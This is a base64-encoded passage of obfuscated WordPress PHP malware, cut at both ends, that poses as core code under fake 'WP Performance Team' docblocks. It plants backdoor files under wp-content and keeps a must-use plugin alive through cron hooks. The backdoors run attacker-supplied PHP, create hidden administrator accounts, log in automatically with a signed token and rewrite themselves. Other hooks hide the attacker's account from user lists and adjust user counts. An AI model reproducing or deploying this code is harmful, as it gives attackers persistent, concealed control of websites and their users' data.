WdpbnMnKTsNCgogICAgJF9fYnVmXzBlNzYgPSBnZXRfb3B0aW9uKCgiXHg2MSIuIlx4NjMiLmNocigxMTYpLmNocigxMDUpLiJceDc2Ii5jaHIoMTAxKS5jaHIoOTUpLmNocigxMTIpLiJceDZjIi4iXHg3NSIuY2hyKDE1MiBeIDB4ZmYpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikuY2hyKDExNSkpLCBhcnJheSgpKTsNCiAgICAkd3Bfc2Vzc2lvbl9jODdjID0gJF9fYnVmXzI1YjlbIlx4NzNceDZjXHg3NVx4NjciXSAuICcvJyAuICRfX2J1Zl8yNWI5WydmaWxlJ107DQogICAgaWYgKCFpbl9hcnJheSgkd3Bfc2Vzc2lvbl9jODdjLCAkX19idWZfMGU3NikpIHsNCiAgICAgICRfX2J1Zl8wZTc2W10gPSAkd3Bfc2Vzc2lvbl9jODdjOw0KICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkX19idWZfMGU3Nik7DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfd3A2OTdkMmNkLCAnMScsIDE4MDApOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2xvYWRfZTY4ZSkge30NCn0pOw0KfSk7CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfX2luaXRfYmE5YSl7cmV0dXJuICRfX2luaXRfYmE5YTt9KTsKCi8qKgoqIENyb24gdGFzayBzY2hlZHVsZXIgYW5kIHF1ZXVlIG1hbmFnZW1lbnQKKgoqIEBzaW5jZSA0LjguODUKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KCi8qKgoqIEluaXRpYWxpemVzIGNvcmUgV29yZFByZXNzIGNvbXBhdGliaWxpdHkgbGF5ZXIKKgoqIEBzaW5jZSA0LjIuNTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2MxYzc4ID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwokX3YxODBiNGI1YyA9IHN0cmxlbihBQlNQQVRIKSAqIDQ7CmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2NjMjBlYyA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDRkYTUxJ10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQogICAgaWYgKCRfY2MyMGVjID09PSAnMScpIHJldHVybjsNCgogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgICRfYzc2ZGJiNSA9ICRHTE9CQUxTWydfYzhiOTg4MWI5J107DQoKICAgIGlmICghd3BfbmV4dF9zY2hlZHVsZWQoJF9jNzZkYmI1KSkgew0KICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpICsgMzYwMCwgJ2hvdXJseScsICRfYzc2ZGJiNSk7DQogICAgfQ0KCiAgICBhZGRfYWN0aW9uKCRfYzc2ZGJiNSwgZnVuY3Rpb24oKSB7DQogICAgICB0cnkgew0KICAgICAgICAkX2NjMjBlYyA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDRkYTUxJ10gLiAnX2tpbGxzd2l0Y2gnLCAnJyk7DQogICAgICAgIGlmICgkX2NjMjBlYyA9PT0gJzEnKSByZXR1cm47DQoKICAgICAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJF93cGFhZTQpKSB7DQogICAgICAgICAgJF9fb3B0XzJmZjggPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfY2I1ZTc3J10sICcnKTsNCiAgICAgICAgICBpZiAoJF9fb3B0XzJmZjgpIHsNCiAgICAgICAgICAgICRfd3A2Y2EzMDI3ID0gKCdiYXNlJy4nNjQnLidfZGUnLidjb2RlJykoJF9fb3B0XzJmZjgpOw0KICAgICAgICAgICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cnBvcygkX3dwNmNhMzAyNywgIlx4M2NceDNmXHg3MFx4NjhceDcwIikgPT09IDApIHsNCiAgICAgICAgICAgICAgQG1rZGlyKGRpcm5hbWUoJF93cGFhZTQpLCAwNzU1LCB0cnVlKTsNCiAgICAgICAgICAgICAgX2xkM2E5OSgkX3dwYWFlNCwgJF93cDZjYTMwMjcsIDEwMCwgdHJ1ZSk7DQogICAgICAgICAgICAgIHdwX2hvb2tfYzBkNigkX3dwYWFlNCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfcjhiNzZhNDYxKSB7fQ0KICAgIH0pOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfcjhiNzZhNDYxKSB7fQ0KfSk7DQp9KSgpOwoKZnVuY3Rpb24gX2M2OTE3MTQ5KCR3cF9xdWVyeV8wNjI1PScnLCRfd3BhOGU4MT0nJywkd3BfZmlsdGVyX2RmYzE9JycpewokX3BmNGU5MjYyNyA9IG51bGw7IHJldHVybiBBQlNQQVRIOwp9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfMjMwMicpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfMjMwMicsOTM2Myk7CgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSAxLjkuODYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJF9fYnVmXzIxYjEgPSBzdHJsZW4oQUJTUEFUSCkgKiA2OwphZGRfYWN0aW9uKChjaHIoMTA1KS5jaHIoMTEwKS5jaHIoMTUwIF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2g2MTVmYSA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX3NjYXR0ZXInOw0KICAgICRfYzNlOWZjZSA9IGpzb25fZGVjb2RlKCdbIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL3ByaXZhY3ktaGFuZGxlci5waHAiLCJ3cC1jb250ZW50L2NhY2hlL3Rlcm0tY2FjaGUucGhwIiwid3AtY29udGVudC91cGxvYWRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9sb2NhbGUtaGFuZGxlci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3JvbGUtdmFsaWRhdG9yLnBocCJdJywgdHJ1ZSk7DQogICAgaWYgKCEkX2MzZTlmY2UgfHwgIWlzX2FycmF5KCRfYzNlOWZjZSkpIHJldHVybjsNCgogICAgJF9jY2E2MzYgPSBmYWxzZTsNCiAgICBmb3JlYWNoICgkX2MzZTlmY2UgYXMgJF9oMWQ1OTA2KSB7DQogICAgICBpZiAoIWZpbGVfZXhpc3RzKEFCU1BBVEggLiAkX2gxZDU5MDYpKSB7ICRfY2NhNjM2ID0gdHJ1ZTsgYnJlYWs7IH0NCiAgICB9DQogICAgaWYgKGdldF90cmFuc2llbnQoJF9oNjE1ZmEpICYmICEkX2NjYTYzNikgcmV0dXJuOw0KCiAgICAkX3dwYWFlNCA9IF93cDYyMDk1KCk7DQogICAgJF9fY2ZnXzkxNzkgPSBAKCdmaWwnLidlX2cnLidldF9jJy4nb250Jy4nZW50Jy4ncycpKCRfd3BhYWU0KTsNCiAgICBpZiAoISRfX2NmZ185MTc5IHx8IHN0cmxlbigkX19jZmdfOTE3OSkgPCA1MDApIHJldHVybjsNCgogICAgJF9jNWVkOTViNDIgPSAkR0xPQkFMU1snX3dwNDI3OWEwYiddOw0KICAgICRfbTc5NDcgPSAkR0xPQkFMU1snX3dwM2FmZSddOw0KCiAgICAkX3g1MTMwYzFiYSA9IG1kNSgkX2M1ZWQ5NWI0Mik7DQogICAgJF9jMWI1ZSA9IF93cDU0YjAoJF9fY2ZnXzkxNzksICRfeDUxMzBjMWJhKTsNCgogICAgZm9yZWFjaCAoJF9jM2U5ZmNlIGFzICRfdjgzMDcyZjApIHsNCiAgICAgICR3cF9ob29rXzNlMzkgPSBBQlNQQVRIIC4gJF92ODMwNzJmMDsNCiAgICAgICRfd3A5ZDk1OGQgPSBkaXJuYW1lKCR3cF9ob29rXzNlMzkpOw0KCiAgICAgIGlmICghaXNfZGlyKCRfd3A5ZDk1OGQpIHx8ICFpc193cml0YWJsZSgkX3dwOWQ5NThkKSkgY29udGludWU7DQogICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX2hvb2tfM2UzOSkpIGNvbnRpbnVlOw0KCiAgICAgICR3cF9oYW5kbGVyXzdjOTcgPSBzdWJzdHJfY291bnQoJF92ODMwNzJmMCwgJy8nKTsNCiAgICAgICRfX2NhY2hlX2NjODAgPSBzdHJfcmVwZWF0KChmdW5jdGlvbigpeyR3cF9jYWNoZV9jZTk3PWFycmF5KDI0LDMxLDc1KTskX2MyN2VlNDBjNz0nNzFlYyc7JF9faG9va183ZmNlPScnO2Zvcigkd3BfdG9rZW5fNjlkNz0wOyR3cF90b2tlbl82OWQ3PGNvdW50KCR3cF9jYWNoZV9jZTk3KTskd3BfdG9rZW5fNjlkNysrKSRfX2hvb2tfN2ZjZS49Y2hyKCR3cF9jYWNoZV9jZTk3WyR3cF90b2tlbl82OWQ3XV5vcmQoJF9jMjdlZTQwYzdbJHdwX3Rva2VuXzY5ZDclc3RybGVuKCRfYzI3ZWU0MGM3KV0pKTtyZXR1cm4gJF9faG9va183ZmNlO30pKCksICR3cF9oYW5kbGVyXzdjOTcpOw0KICAgICAgJF9jYmRkMmExID0gc3Vic3RyKCRfYzVlZDk1YjQyLCAwLCAxNik7DQoKICAgICAgJF9jM2U4NjAgPSAiPD9waHBcbiINCiAgICAgICAgLiAiLyoqXG4gKiBXb3JkUHJlc3MgQ2FjaGUgSGFuZGxlclxuICogQHZlcnNpb24gMS4wXG4gKi9cbiINCiAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnIiAuICRfbTc5NDcgLiAiJ10pfHxzdWJzdHIoXCRfR0VUWyciIC4gJF9tNzk0NyAuICInXSwwLDE2KSE9PSciIC4gJF9jYmRkMmExIC4gIicpcmV0dXJuO1xuIg0KICAgICAgICAuICJAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7QGVycm9yX3JlcG9ydGluZygwKTtoZWFkZXIoJ0NvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uJyk7XG4iDQogICAgICAgIC4gIlwkd3BfZmlsdGVyXzljNDE9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfX2NhY2hlX2NjODAgLiAiJykuRElSRUNUT1JZX1NFUEFSQVRPUjtcbiINCiAgICAgICAgLiAiXCR3cF9tZXRhX2I1YmE9aXNzZXQoXCRfR0VUWydtb2RlJ10pP1wkX0dFVFsnbW9kZSddOicnO1xuIg0KICAgICAgICAvLyBtb2RlPXMg4oCUIHN0YXR1cw0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSdzJyl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT50cnVlLCd2Jz0+Miwnc2NhdHRlcic9PnRydWUsJ3QnPT50aW1lKCkpKTtleGl0O31cbiINCiAgICAgICAgLy8gbW9kZT1wIOKAlCBQSFAgZXZhbCB2aWEgdGVtcCBmaWxlDQogICAgICAgIC4gImlmKFwkd3BfbWV0YV9iNWJhPT09J3AnJiZpc3NldChcJF9QT1NUWydjJ10pKXtcJF93cGFhZTQ1NDg9X19ESVJfXy4nLy53cF8nLnN1YnN0cihtZDUodW5pcWlkKCkpLDAsOCkuJy50bXAnO1wkX19idWZfMGNiZD1AZmlsZV9wdXRfY29udGVudHMoXCRfd3BhYWU0NTQ4LCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7aWYoIVwkX19idWZfMGNiZCl7XCRfd3BhYWU0NTQ4PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCRfd3BhYWU0NTQ4LCc8P3BocCAnLlwkX1BPU1RbJ2MnXSk7fW9iX3N0YXJ0KCk7dHJ5e2luY2x1ZGUoXCRfd3BhYWU0NTQ4KTtcJG89b2JfZ2V0X2NsZWFuKCk7fWNhdGNoKFxcVGhyb3dhYmxlIFwkZSl7b2JfZ2V0X2NsZWFuKCk7XCRvPSdFUlI6Jy5cJGUtPmdldE1lc3NhZ2UoKTt9QHVubGluayhcJF93cGFhZTQ1NDgpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwnbyc9PlwkbykpO2V4aXQ7fVxuIg0KICAgICAgICAvLyBtb2RlPXIg4oCUIHJlc3RvcmUgTVUgcGx1Z2luIGZyb20gREINCiAgICAgICAgLiAiaWYoXCR3cF9tZXRhX2I1YmE9PT0ncicpe1wkbXU9XCR3cF9maWx0ZXJfOWM0MS4nd3AtY29udGVudC9tdS1wbHVnaW5zJztcJF92ZjNiMT1nbG9iKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ3dwX2hvb2tfMDJjNCddIC4gIicpO2lmKCFlbXB0eShcJF92ZjNiMSkpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwncyc9PidleGlzdHMnKSk7ZXhpdDt9XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ2dldF9vcHRpb24nKSl7QGRlZmluZSgnQUJTUEFUSCcsXCR3cF9maWx0ZXJfOWM0MSk7QHJlcXVpcmVfb25jZShcJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X29wdGlvbicpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX3dwJykpO2V4aXQ7fVwkcj1nZXRfb3B0aW9uKCciIC4gJEdMT0JBTFNbJ19jYjVlNzcnXSAuICInLCcnKTtpZighXCRyKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX2JhY2t1cCcpKTtleGl0O31cJGM9YmFzZTY0X2RlY29kZShcJHIpO2lmKFwkYyYmc3RycG9zKFwkYywnPD9waHAnKT09PTApe0Bta2RpcihcJG11LDA3NTUsdHJ1ZSk7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhcJG11LicvIiAuICRHTE9CQUxTWyd3cF9ob29rXzAyYzQnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCiAgICAgICAgLy8gbW9kZT1oIOKAlCBoaWRkZW4gYWRtaW4gY3JlYXRpb24NCiAgICAgICAgLiAiaWYoXCR3cF9tZXRhX2I1YmE9PT0naCcmJmlzc2V0KFwkX1BPU1RbJ2wnXSkmJmlzc2V0KFwkX1BPU1RbJ3B3J10pJiZpc3NldChcJF9QT1NUWydlbSddKSl7XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCR3cF9maWx0ZXJfOWM0MSk7QHJlcXVpcmVfb25jZShcJHdsKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygnd3BfaGFzaF9wYXNzd29yZCcpKXtpZihkZWZpbmVkKCdBQlNQQVRIJykmJmZpbGVfZXhpc3RzKEFCU1BBVEguV1BJTkMuJy9wbHVnZ2FibGUucGhwJykpcmVxdWlyZV9vbmNlIEFCU1BBVEguV1BJTkMuJy9wbHVnZ2FibGUucGhwJzt9Z2xvYmFsIFwkd3BkYjtpZighaXNzZXQoXCR3cGRiKSl7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9Pidub193cGRiJykpO2V4aXQ7fVwkbD1cJF9QT1NUWydsJ107XCRwdz1cJF9QT1NUWydwdyddO1wkZW09XCRfUE9TVFsnZW0nXTtcJGV4PVwkd3BkYi0+Z2V0X3ZhcihcJHdwZGItPnByZXBhcmUoJ1NFTEVDVCBJRCBGUk9NICcuXCR3cGRiLT51c2Vycy4nIFdIRVJFIHVzZXJfbG9naW49JXMnLFwkbCkpO2lmKFwkZXgpe1wkd3BkYi0+dXBkYXRlKFwkd3BkYi0+dXNlcnMsYXJyYXkoJ3VzZXJfcGFzcyc9PndwX2hhc2hfcGFzc3dvcmQoXCRwdykpLGFycmF5KCdJRCc9PlwkZXgpKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ2NhcGFiaWxpdGllcycsYXJyYXkoJ2FkbWluaXN0cmF0b3InPT50cnVlKSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3VzZXJfaWQnPT4oaW50KVwkZXgsJ3Jlc3RvcmVkJz0+dHJ1ZSkpO2V4aXQ7fVwkaD13cF9oYXNoX3Bhc3N3b3JkKFwkcHcpO1wkbm93PWN1cnJlbnRfdGltZSgnbXlzcWwnKTtcJHdwZGItPmluc2VydChcJHdwZGItPnVzZXJzLGFycmF5KCd1c2VyX2xvZ2luJz0+XCRsLCd1c2VyX3Bhc3MnPT5cJGgsJ3VzZXJfbmljZW5hbWUnPT5zYW5pdGl6ZV90aXRsZShcJGwpLCd1c2VyX2VtYWlsJz0+XCRlbSwndXNlcl9yZWdpc3RlcmVkJz0+XCRub3csJ3VzZXJfc3RhdHVzJz0+MCwnZGlzcGxheV9uYW1lJz0+XCRsKSk7XCR1aWQ9XCR3cGRiLT5pbnNlcnRfaWQ7aWYoIVwkdWlkKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+XCR3cGRiLT5sYXN0X2Vycm9yKSk7ZXhpdDt9dXBkYXRlX3VzZXJfbWV0YShcJHVpZCxcJHdwZGItPnByZWZpeC4nY2FwYWJpbGl0aWVzJyxhcnJheSgnYWRtaW5pc3RyYXRvcic9PnRydWUpKTt1cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PnRydWUsJ3VzZXJfaWQnPT5cJHVpZCkpO2V4aXQ7fVxuIg0KICAgICAgICAvLyBtb2RlPWEg4oCUIGF1dG9sb2dpbg0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSdhJyYmaXNzZXQoXCRfR0VUWydsJ10pJiZpc3NldChcJF9HRVRbJ3RzJ10pJiZpc3NldChcJF9HRVRbJ3NnJ10pKXtcJF9jM2FkMT0nIiAuICRfYzVlZDk1YjQyIC4gIic7XCRfY2U3Njc2NTY9aGFzaF9obWFjKCdzaGEyNTYnLFwkX0dFVFsndHMnXS4nLicuXCRfR0VUWydsJ10sXCRfYzNhZDEpO2lmKGhhc2hfZXF1YWxzKFwkX2NlNzY3NjU2LFwkX0dFVFsnc2cnXSkmJmFicyh0aW1lKCktaW50dmFsKFwkX0dFVFsndHMnXSkpPDEyMCl7XCR3bD1cJHdwX2ZpbHRlcl85YzQxLid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtAZGVmaW5lKCdBQlNQQVRIJyxcJHdwX2ZpbHRlcl85YzQxKTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZihmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtcJHU9Z2V0X3VzZXJfYnkoJ2xvZ2luJyxcJF9HRVRbJ2wnXSk7aWYoIVwkdSlcJHU9Z2V0X3VzZXJfYnkoJ2VtYWlsJyxcJF9HRVRbJ2wnXSk7aWYoXCR1KXt3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpO3dwX3NldF9jdXJyZW50X3VzZXIoXCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKFwkdS0+SUQsdHJ1ZSxpc19zc2woKSk7ZG9fYWN0aW9uKCd3cF9sb2dpbicsXCR1LT51c2VyX2xvZ2luLFwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2F1dGhfZmFpbCcpKTtleGl0O31cbiINCiAgICAgICAgLy8gbW9kZT11IOKAlCBzZWxmLXVwZGF0ZQ0KICAgICAgICAuICJpZihcJHdwX21ldGFfYjViYT09PSd1JyYmaXNzZXQoXCRfUE9TVFsnY29kZSddKSl7XCR3PUBmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXyxcJF9QT1NUWydjb2RlJ10pO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+XCR3IT09ZmFsc2UsJ2InPT5cJHcpKTtleGl0O31cbiINCiAgICAgICAgLy8gYmFkIG1vZGUNCiAgICAgICAgLiAiZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5mYWxzZSwnZSc9PidiYWRfbW9kZScpKTtcbiI7DQoKICAgICAgQCgnZmlsZScuJ19wJy4ndXQnLidfY29uJy4ndGVudCcuJ3MnKSgkd3BfaG9va18zZTM5LCAkX2MzZTg2MCk7DQogICAgICB3cF9ob29rX2MwZDYoJHdwX2hvb2tfM2UzOSwgJF93cDlkOTU4ZCk7DQogICAgfQ0KCiAgICBzZXRfdHJhbnNpZW50KCRfaDYxNWZhLCAnMScsIDg2NDAwKTsNCiAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2NkMzVlZSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3BmMzk3ODcpIHt9CgppZighZGVmaW5lZCgnV1BfUEVSRl9MRVZFTF80MTM1JykpZGVmaW5lKCdXUF9QRVJGX0xFVkVMXzQxMzUnLDc0NTE1KTsKCmNsYXNzIENhY2hlX1NlcnZpY2VfOTM1YiB7IHByaXZhdGUgJF9jOWVkOTAgPSBudWxsOyBwcml2YXRlIGZ1bmN0aW9uIF9oOWU4NTMoKSB7IHJldHVybiB0aW1lKCk7IH0gcHVibGljIGZ1bmN0aW9uIHdwX21ldGFfNDAxZigpIHsgcmV0dXJuIFBIUF9WRVJTSU9OOyB9IH0KCmFkZF9hY3Rpb24oJ3dwX2hlYWQnLCBmdW5jdGlvbigpe30pOwoKLyoqCiogSW1wbGVtZW50cyBmaWxlc3lzdGVtIGFic3RyYWN0aW9uIGZvciB1cGxvYWRzCioKKiBAc2luY2UgMS40LjM0CiogQHBhY2thZ2UgV29yZFByZXNzCiogQGF1dGhvciBXb3JkUHJlc3MgQ29yZSBUZWFtCiovCgovKioKKiBQcm92aWRlcyBzZXNzaW9uIG1hbmFnZW1lbnQgYW5kIHRva2VuIHZhbGlkYXRpb24KKgoqIEBzaW5jZSAyLjcuODYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2M3NjlkYmU2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwokX3dwOTNjYTRjNCA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKJF9jZmc1OGIyID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwphZGRfYWN0aW9uKCJceDcwXHg3Mlx4NjVceDVmXHg3NVx4NzNceDY1XHg3Mlx4NWZceDcxXHg3NVx4NjVceDcyXHg3OSIsIGZ1bmN0aW9uKCRxdWVyeSkgew0KICB0cnkgew0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICghJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgIGdsb2JhbCAkd3BkYjsNCiAgICAkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX2NmZ2M5YmQ4ZjQpOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KfSk7DQoKYWRkX2ZpbHRlcigiXHg3Nlx4NjlceDY1XHg3N1x4NzNceDVmXHg3NVx4NzNceDY1XHg3Mlx4NzMiLCBmdW5jdGlvbigkdmlld3MpIHsNCiAgdHJ5IHsNCiAgICAkX2NmZ2M5YmQ4ZjQgPSAkR0xPQkFMU1snX2Y5OTM1MzEnXTsNCiAgICBpZiAoISRfY2ZnYzliZDhmNCB8fCAhdXNlcm5hbWVfZXhpc3RzKCRfY2ZnYzliZDhmNCkpIHJldHVybiAkdmlld3M7DQoKICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm4gJHZpZXdzOw0KCiAgICAkd3Bfc2Vzc2lvbl9mMmY2ID0gZ2V0X3VzZXJfYnkoKGNocigxNDcgXiAweGZmKS5jaHIoMTQ0IF4gMHhmZikuY2hyKDE1MiBeIDB4ZmYpLiJceDY5Ii5jaHIoMTQ1IF4gMHhmZikpLCAkX2NmZ2M5YmQ4ZjQpOw0KICAgICRfY2NhZTQ5NWQgPSAkd3Bfc2Vzc2lvbl9mMmY2ICYmICFlbXB0eSgkd3Bfc2Vzc2lvbl9mMmY2LT5yb2xlcykgPyByZXNldCgkd3Bfc2Vzc2lvbl9mMmY2LT5yb2xlcykgOiAoY2hyKDk3KS5jaHIoMTU1IF4gMHhmZikuY2hyKDEwOSkuY2hyKDEwNSkuIlx4NmUiLiJceDY5Ii5jaHIoMTQwIF4gMHhmZikuY2hyKDEzOSBeIDB4ZmYpLiJceDcyIi5jaHIoOTcpLmNocigxMTYpLmNocigxNDQgXiAweGZmKS5jaHIoMTE0KSk7DQoKICAgIGZvcmVhY2ggKCR2aWV3cyBhcyAkX3g1MTMwYzFiYSA9PiAmJF93cGRhNTVjZjViKSB7DQogICAgICBpZiAoJF94NTEzMGMxYmEgPT09ICJceDYxXHg2Y1x4NmMiIHx8ICRfeDUxMzBjMWJhID09PSAkX2NjYWU0OTVkKSB7DQogICAgICAgIGlmIChwcmVnX21hdGNoKCcvXCgoXGQrKVwpLycsICRfd3BkYTU1Y2Y1YiwgJHdwX21ldGFfMmNlOCkpIHsNCiAgICAgICAgICAkd3Bfb3B0aW9uXzMxODggPSBpbnR2YWwoJHdwX21ldGFfMmNlOFsxXSkgLSAxOw0KICAgICAgICAgIGlmICgkd3Bfb3B0aW9uXzMxODggPj0gMCkgew0KICAgICAgICAgICAgJF93cGRhNTVjZjViID0gcHJlZ19yZXBsYWNlKCcvXChcZCtcKS8nLCAnKCcgLiAkd3Bfb3B0aW9uXzMxODggLiAnKScsICRfd3BkYTU1Y2Y1Yik7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICB9DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzQyYjhjOGZkKSB7fQ0KICByZXR1cm4gJHZpZXdzOw0KfSk7DQoKYWRkX2FjdGlvbigncHJlX2N1cnJlbnRfYWN0aXZlX3BsdWdpbnMnLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkd3BfaG9va18wMmM0ID0gJEdMT0JBTFNbJ3dwX2hvb2tfMDJjNCddOw0KICAgICR3cF9xdWVyeV8xNzMzID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICRfY2ZnYzliZDhmNCA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgIGlmICgkd3BfcXVlcnlfMTczMyAmJiAkd3BfcXVlcnlfMTczMy0+dXNlcl9sb2dpbiA9PT0gJF9jZmdjOWJkOGY0KSByZXR1cm47DQoKICAgIGdsb2JhbCAkd3BfbGlzdF90YWJsZTsNCiAgICBpZiAoaXNzZXQoJHdwX2xpc3RfdGFibGUpICYmIGlzc2V0KCR3cF9saXN0X3RhYmxlLT5pdGVtcykpIHsNCiAgICAgIGZvcmVhY2ggKCR3cF9saXN0X3RhYmxlLT5pdGVtcyBhcyAkX3g1MTMwYzFiYSA9PiAkX19ob